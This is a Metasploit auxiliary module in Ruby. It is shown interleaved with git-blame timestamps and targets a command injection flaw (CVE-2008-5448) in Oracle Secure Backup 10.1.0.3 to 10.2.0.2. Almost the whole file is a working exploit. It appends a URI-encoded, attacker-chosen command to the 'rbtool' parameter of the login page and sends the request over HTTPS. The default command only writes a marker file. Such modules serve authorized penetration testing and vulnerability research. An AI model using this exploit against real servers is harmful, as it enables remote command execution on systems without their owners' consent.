2009-02-23 16:26:00 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-02-23 16:26:00 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2009-02-23 16:26:00 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Oracle Secure Backup exec_qr() Command Injection Vulnerability',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a command injection vulnerablility in Oracle Secure Backup version 10.1.0.3 to 10.2.0.2.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2008-5448' ],
|
|
|
|
[ 'OSVDB', '51342' ],
|
|
|
|
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],
|
2013-10-21 20:07:07 +00:00
|
|
|
[ 'ZDI', '09-003' ],
|
2013-08-30 21:28:54 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jan 14 2009'))
|
2009-02-23 16:26:00 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(443),
|
|
|
|
OptString.new('CMD', [ false, "The command to execute.", "cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt" ]),
|
|
|
|
OptBool.new('SSL', [true, 'Use SSL', true]),
|
|
|
|
], self.class)
|
|
|
|
end
|
2009-02-23 16:26:00 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
2009-02-23 16:26:00 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
r = Rex::Text.rand_text_english(2)
|
2009-02-23 16:26:00 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
cmd = datastore['CMD']
|
2009-02-23 16:26:00 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
uri = "/login.php?clear=no&ora_osb_lcookie=&ora_osb_bgcookie=#{r}&button=Logout&rbtool="
|
2010-05-03 17:13:09 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
req = uri + Rex::Text.uri_encode(cmd)
|
2010-05-03 17:13:09 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Sending command: #{datastore['CMD']}...")
|
2009-02-23 16:26:00 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
res = send_request_raw({'uri' => req,},5)
|
2010-05-03 17:13:09 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Done.")
|
2010-05-03 17:13:09 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2009-02-23 16:26:00 +00:00
|
|
|
end
|